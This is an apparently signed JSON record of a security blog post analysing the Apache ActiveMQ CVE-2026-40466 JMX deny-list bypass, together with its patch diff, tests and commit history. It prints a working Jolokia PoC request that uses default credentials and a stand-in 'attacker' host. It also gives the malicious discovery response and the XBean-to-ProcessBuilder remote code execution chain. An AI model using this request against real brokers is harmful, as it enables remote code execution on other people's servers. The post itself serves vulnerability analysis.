-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The bypass is one bare scheme\n\nThe CVE-2026-34197 PoC used a composite URI: `static:(vm://anyname?brokerConfig=xbean:http://attacker/evil.xml)`. The 5.19.4 validator walked composite components, found the inner `vm` scheme, and refused.\n\nThe CVE-2026-40466 PoC, the [Nuclei template](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-40466.yaml) committed by `DhiyaneshDk`, uses a bare URI:\n\n```http\nPOST /api/jolokia/ HTTP/1.1\nHost: target:8161\nAuthorization: Basic YWRtaW46YWRtaW4=\nContent-Type: application/json\nOrigin: http://target:8161\n\n{\"type\":\"exec\",\n \"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",\n \"operation\":\"addNetworkConnector(java.lang.String)\",\n \"arguments\":[\"http://attacker/discovery\"]}\n```\n\nThe 5.19.4 validator walks one component, sees scheme `http`, and lets it through. The validator is doing exactly what it always did. The deny list it consults contains one entry, and that entry is `vm`. The 5.19.4 source comment says so: `// We don't allow VM transport scheme to be used`. Every JMX caller in 5.19.4 and 5.19.5 who passes a non-`vm` scheme reaches `brokerService.addNetworkConnector(...)` unmolested. ActiveMQ 5.19.5 was tagged on 2026-04-08 with that line still in place; it included a typo fix on the recursive composite walker but no new entries on the deny list.\n\n## The HTTP discovery agent is the second parser\n\n`brokerService.addNetworkConnector(\"http://attacker/discovery\")` builds a `DiscoveryNetworkConnector`. The connector resolves scheme `http` to the discovery agent registered at `META-INF/services/org/apache/activemq/transport/discoveryagent/http` in the `activemq-http` module:\n\n```\nclass=org.apache.activemq.transport.discovery.http.HTTPDiscoveryAgentFactory\n```\n\nThe factory builds an `HTTPDiscoveryAgent` with `registryURL = \"http://attacker/discovery\"`. The agent's `start()` spawns a thread that calls `update()` every ten seconds, which calls `doLookup(...)`:\n\n```java\nsynchronized private Set doLookup(long freshness) {\n String url = registryURL + \"?freshness=\" + freshness;\n HttpGet method = new HttpGet(url);\n ResponseHandler handler = new BasicResponseHandler();\n String response = httpClient.execute(method, handler);\n Set rc = new HashSet();\n Scanner scanner = new Scanner(response);\n while (scanner.hasNextLine()) {\n String service = scanner.nextLine();\n if (service.trim().length() != 0) {\n rc.add(service);\n }\n }\n scanner.close();\n return rc;\n}\n```\n\nEach non-empty line of the HTTP response is a service URI. `update()` wraps each new service URI in a `SimpleDiscoveryEvent(service)` and calls `discoveryListener.onServiceAdd(event)`. The listener is the `DiscoveryNetworkConnector`. Its job is to add a transport connection for each newly-discovered broker URI.\n\nThe attacker's HTTP server responds to `GET /discovery?freshness=30000` with one line:\n\n```\nvm://anyname?brokerConfig=xbean:http://attacker/evil.xml\n```\n\nThe network connector treats that line as a broker URI and constructs the transport. The transport scheme is `vm`. There is no `validateAllowedUrl` call between `doLookup`'s scanner and `BrokerService.createTransport`. The validator's authority ends at the JMX argument. Once past it, the broker creates whatever transport its own factories register.\n\nThe `vm` transport spins up an in-VM broker via `XBeanBrokerFactory`, which loads `xbean:http://attacker/evil.xml` through `ResourceXmlApplicationContext`. The XML declares a `ProcessBuilder` bean with `init-method=\"start\"`. Spring instantiates the bean during singleton initialization. `ProcessBuilder.start()` runs. The broker JVM forks the attacker's command. The XBean to Spring to RCE chain is the same chain CVE-2026-34197 used; the only thing that changed is how the `vm://` URI gets into the broker.\n\n## The fix is one Set entry\n\nPR #1918's diff against `BrokerView.java`:\n\n```diff\n+ private static final Set DENIED_TRANSPORT_SCHEMES = Set.of(\"vm\", \"http\");\n+\n- // We don't allow VM transport scheme to be used\n+ // Check all denied schemes\n private static void validateAllowedScheme(String scheme) {\n- if (scheme.equals(\"vm\")) {\n- throw new IllegalArgumentException(\"VM scheme is not allowed\");\n+ for (String denied : DENIED_TRANSPORT_SCHEMES) {\n+ if (scheme.equalsIgnoreCase(denied)) {\n+ throw new IllegalArgumentException(\"Transport scheme '\" + scheme + \"' is not allowed\");\n+ }\n }\n }\n```\n\nThe new test method is the old one with `vm` replaced by `http` and the body lifted into a parameterized helper:\n\n```java\nprotected void testAddTransportConnectorBlockedBrokerView(String scheme) throws Exception {\n ObjectName brokerName = assertRegisteredObjectName(domain + \":type=Broker,brokerName=localhost\");\n BrokerViewMBean brokerView = MBeanServerInvocationHandler.newProxyInstance(\n mbeanServer, brokerName, BrokerViewMBean.class, true);\n\n try {\n brokerView.addConnector(scheme + \"://localhost\");\n fail(\"Should have failed trying to add connector\");\n } catch (IllegalArgumentException e) {\n assertEquals(\"Transport scheme '\" + scheme + \"' is not allowed\", e.getMessage());\n }\n // composite and nested composite cases follow with the same shape\n}\n```\n\nThe author parameterized over scheme. The test logic is the same for every entry on the deny list. Adding a row to the Set requires one new caller string and one new test method. The deny list and its tests are both lookup tables.\n\n## The deny list grows by commit\n\nThe publicly visible cadence on `activemq-5.19.x`, `BrokerView.java`, after 5.19.4:\n\n| Date | Commit | Change | CVE |\n|------------|-----------|-----------------------------------------------------------------------------------------------------|------------------|\n| 2026-03-26 | `0ce7560` | Add `validateAllowedScheme(scheme)` denying `vm`. Released as 5.19.4. | CVE-2026-34197 |\n| 2026-04-11 | `0a15814` | Fix variable shadowing in `validateAllowedUri` inner loop. | None. |\n| 2026-04-14 | `c84899b` | Promote check to `Set.of(\"vm\", \"http\")`. PR title: \"Add Http discovery transport to denied list for JMX.\" | CVE-2026-40466 |\n| 2026-04-21 | `f7e4726` | Add `multicast`, `zeroconf`, `discovery`, `fanout`, `mock`, `peer`, `failover`, `proxy`, `reliable`, `simple`, `udp`. Released as 5.19.6. | None. |\n| 2026-04-27 | `2c69e46` | Add `masterslave`. PR title ends in \"part 2.\" | None. |\n\nEleven schemes shipped in `f7e4726`. One more in `2c69e46`. Twelve schemes in two commits, none of them carrying a CVE number. The PR titles say what the commits do: \"Add more transport types to the denied list for JMX\" and \"Add more transport types to the denied list for JMX part 2.\" Each scheme on the list is a transport factory `addNetworkConnector(String)` could have reached in 5.19.4 and 5.19.5. None of those bypasses had publicly available exploits at the time of the commits, but the maintainer wrote the patches anyway, in batches, on the same branch, in the same `Set` literal.\n\nThe list contains its own punchline. One of the entries shipped in `f7e4726` is the literal scheme `discovery`. The JMX surface is now configured to refuse a URI whose outer scheme is `discovery:` while accepting a URI whose outer scheme is `http`, where the `http` factory is itself a discovery agent. The category \"transports that perform discovery against a remote URL\" is larger than the set of schemes named `discovery`. The deny list refuses the named members of the category and admits the unnamed ones until somebody reads the registry.\n\n## The validator is on the wrong side of the second parser\n\nThe shape from [our prior coverage](/posts/activemq-jmx-denied-schemes-was-one) was that `addNetworkConnector(String discoveryAddress)` accepts every URI scheme the transport factory registry has ever registered. The deny list trims the registry by name; the registry itself remains open. CVE-2026-40466 adds one wrinkle on top of that.\n\nThe wrinkle is that `http` is not just another transport factory in the same class as `tcp` or `nio`. The HTTP discovery agent is itself a parser of remote content. Its job is to fetch a URL and treat each line of the response as a broker URI. Once the validator approves the caller's `http://attacker/discovery`, the agent runs, the attacker controls the next round of input, and that input contains the same `vm://` scheme the validator just refused. The inner URI reaches `BrokerService.createTransport` through a path that does not call `validateAllowedUrl`.\n\nThere are two parsers between the JMX caller and broker creation. The first parses the JMX argument (`URISupport`). The second parses the HTTP body (the discovery agent's `Scanner`). The validator runs after the first parser and before the second. After the second, no validation runs at all. Adding `http` to the deny list closes the second parser by refusing to let it run. The patch does not introduce validation at the second parser's output, because the second parser's output is the discovery event delivery API, which is a Java method call, not a JMX entry point. The validator is a property of the JMX surface, not of the broker creation path; the path can be reached from places that are not JMX, and when it is, no validator runs.\n\nThis is `unpatchable-primitive`. The primitive is \"a JMX-reachable string method whose argument chooses a transport factory with config-fetching authority.\" Removing the primitive means changing `addNetworkConnector(String)` to take a constrained type, or removing the method from the public `BrokerViewMBean` interface. Neither happened in 5.19.6. The patch closed the `http` row of the deny list and left the registry-driven dispatch open. The next CVE in this family is whichever transport factory whose creation chain touches the network, the filesystem, or another URI parser before the validator gets a second look.\n\nIt is also `design-debt-driver`. The deny list grows because the parameter type is `String` and the URI registry is open. Each row of the list is a transport factory the maintainer is patching by name, in batches, on the same branch, in the same file. The first row got CVE-2026-34197. The second row got CVE-2026-40466. The other twelve rows are patched without numbers; the patches landed before any public exploitation, in PRs whose titles do not pretend to be coordinated security disclosures.\n\nIt is `internal-only-by-convention` at the discovery layer. The HTTP discovery agent is documented as an inter-broker registry mechanism; the framework defines it as an internal coordination transport. The JMX surface reads the same scheme name from a remote authenticated MBean caller and dispatches to the same agent. The internal-only contract is one paragraph in the documentation. The enforcement is fourteen entries on a `Set`.\n\n## The CVE caught up to the commit\n\nPR #1918 was opened by `cshannon` on 2026-04-13 and merged on 2026-04-14. The PR body is one sentence: \"This also prevents the Http discovery transport from being added as a connector or network connector through JMX and Jolokia.\" \"This also\" is ordinary developer English for \"in addition to the previous patch.\" The commit is part of a sweep. The maintainer was reading the rest of the codebase the way he had read it for the original CVE, finding the same shape, and shipping fixes commit by commit.\n\n5.19.6 was tagged on 2026-04-21, seven days after the merge. The first scanner observation of CVE-2026-40466 was 2026-04-28, seven days after the release. The advisory text Apache published references the CVE-2026-34197 announcement file as the precursor and credits two finders, Fatih Ersinadim and gggggggga, who are different people from the researcher credited on CVE-2026-34197. The commit predates the credit. The fix predates the CVE record. The maintainer's commit title and the CVE description name the same thing in nearly the same words, written six weeks apart.\n\nThe other twelve rows of the deny list are also bypasses of the CVE-2026-34197 fix. They were patched by the same author, in the same file, in commits whose PR titles end in \"part 2.\" The CVE record for any of them is whichever finder writes the next Jolokia POST and reports it.\n\nPoC: [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-40466.yaml)","closing_line":"The deny list has fourteen entries. Two have CVEs.","hook_md":"Apache ActiveMQ pull request [#1918](https://github.com/apache/activemq/pull/1918) merged on 2026-04-14, twenty-seven days after 5.19.4 closed CVE-2026-34197. The PR title is \"Add Http discovery transport to denied list for JMX.\" The diff adds the literal `\"http\"` to a `Set.of(...)` of denied schemes in `BrokerView.java`. Thirty-eight days after that merge, MITRE assigned CVE-2026-40466 for the bypass the PR closes. The bypass class was named in a commit title before it was named in a CVE record.\n\nCVE-2026-34197 is row one of the deny list. CVE-2026-40466 is row two. The list has fourteen rows.","post_id":259,"slug":"activemq-cve-2026-40466-row-two","title":"CVE-2026-40466: HTTP Discovery Was Row Two Of A Fourteen-Row Deny List","type":"initial","unreadable_sentence":"The deny list has fourteen entries. Two have CVEs. The other twelve were patched in pull requests titled \"Add more transport types to the denied list for JMX\" and \"part 2.\""} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaqrNXAAKCRDeZjl4jgkQ JmJUAQCOoZFRTb0FKPcULjxFxcQqQo6+Unz76gfkGOTAUGXx3AEA+O4zmPtptzEH JiR+xycb3g13RB/i/GAbjdNd+CAAcAg= =8SNO -----END PGP SIGNATURE-----